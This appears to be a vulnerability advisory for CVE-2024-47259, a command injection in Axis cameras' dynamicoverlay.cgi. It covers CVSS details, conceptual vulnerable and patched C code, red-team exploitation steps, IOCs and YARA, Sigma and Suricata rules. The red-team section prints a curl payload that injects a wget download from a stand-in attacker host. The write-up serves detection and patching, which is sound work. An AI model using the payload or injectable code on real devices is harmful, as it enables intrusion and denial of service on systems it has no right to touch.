CVE-2024-47259

Executive Summary

CVE-2024-47259 is a command injection vulnerability in the VAPIX API dynamicoverlay.cgi endpoint on Axis devices. The flaw allows an unauthenticated attacker to transfer files to the device, exhausting system resources and causing a denial of service (DoS). The vulnerability has a CVSS score of 3.5 (Low), but its exploitation could lead to resource exhaustion and potential service disruption. Axis has released patched versions of AXIS OS to address this issue.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Axis devices.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: Low

The low score reflects the limited impact (availability only) and the lack of confidentiality or integrity compromise. However, in critical environments, resource exhaustion can lead to significant downtime.

Deep Dive & Mechanics

The vulnerability resides in the dynamicoverlay.cgi endpoint of the VAPIX API. This endpoint is used to manage dynamic overlays on Axis camera streams. The flaw is due to insufficient input validation, allowing an attacker to inject arbitrary commands via crafted HTTP requests.

Attack Flow:

1. An attacker sends a specially crafted HTTP request to dynamicoverlay.cgi with malicious input in a parameter (e.g., action, text, or image).
2. The input is not properly sanitized, allowing command injection.
3. The injected command executes on the device, enabling the attacker to transfer files (e.g., large dummy files) to the device's filesystem.
4. The transferred files consume disk space and/or memory, leading to resource exhaustion and denial of service.

Root Cause: Lack of input validation and sanitization in the CGI script handling the dynamicoverlay.cgi endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable CGI handler
void handle_dynamicoverlay() {
    char *action = get_param("action");
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "overlay_tool %s", action);
    system(cmd); // Command injection possible
}

Patched Code (Conceptual):

// Patched CGI handler
void handle_dynamicoverlay() {
    char *action = get_param("action");
    // Validate input against whitelist
    if (strcmp(action, "add") != 0 && strcmp(action, "remove") != 0) {
        return_error("Invalid action");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "overlay_tool %s", action);
    system(cmd); // Now safe due to validation
}

The patch adds input validation to ensure only expected values are passed to the system command.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Axis device with vulnerable firmware (e.g., AXIS OS < 6.80.3)
• Network access to the device's HTTP interface (port 80/443)

Exploitation Steps:

1. Identify vulnerable device using Shodan or network scanning.
2. Craft a malicious HTTP request to dynamicoverlay.cgi with command injection payload.
3. Example payload to transfer a large file:

   curl -X POST "http://target/axis-cgi/dynamicoverlay.cgi" \
   -d "action=add&text=$(wget -O /tmp/largefile http://attacker/largefile)"
   

4. The device downloads a large file, exhausting disk space.
5. Repeat to cause resource exhaustion and DoS.

Note: No public exploit code is available at this time.

Blue Team

Detection:

• Monitor for unusual HTTP requests to dynamicoverlay.cgi with suspicious parameters.
• Look for large file transfers to Axis devices (e.g., via network traffic analysis).
• Use the detection rules below.

Mitigation:

• Apply the latest AXIS OS patch.
• Restrict network access to the VAPIX API using firewall rules.
• Enable logging and alerting on Axis devices.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /axis-cgi/dynamicoverlay.cgi with unusual parameters.
  • Large outbound connections from Axis devices to external IPs (file download).
• File IOCs:
  • Unexpected large files in /tmp/ or /var/ on the Axis device.
• System IOCs:
  • High disk usage or memory consumption on Axis devices.
  • Device logs showing system() calls with unexpected arguments.

Detection Engineering

YARA Rule

rule CVE_2024_47259_Axis_Command_Injection {
    meta:
        description = "Detects command injection attempts in Axis VAPIX API"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-47259"
    strings:
        $cmd1 = "dynamicoverlay.cgi" ascii wide nocase
        $cmd2 = "wget" ascii wide nocase
        $cmd3 = "curl" ascii wide nocase
        $cmd4 = "system(" ascii wide nocase
    condition:
        $cmd1 and any of ($cmd2, $cmd3, $cmd4)
}

Sigma Rule

title: Axis VAPIX API Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts targeting Axis devices via dynamicoverlay.cgi
author: Valters IT
date: 2024-10-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47259
logsource:
    category: webserver
    product: axis
detection:
    selection:
        cs-uri-query|contains: "dynamicoverlay.cgi"
        cs-method: "POST"
    keywords:
        - "wget"
        - "curl"
        - "system("
        - "exec("
    condition: selection and keywords
falsepositives:
    - Legitimate use of overlay management tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47259 Axis VAPIX API Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"dynamicoverlay.cgi"; http_uri; content:"wget"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Update AXIS OS to the latest patched version as per Axis security advisory.
2. Network Segmentation: Restrict access to the VAPIX API to trusted networks only.
3. Input Validation: Implement strict input validation for all CGI parameters.
4. Monitoring: Enable logging and monitor for suspicious activity on Axis devices.
5. Firewall Rules: Block outbound connections from Axis devices to unknown IPs.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert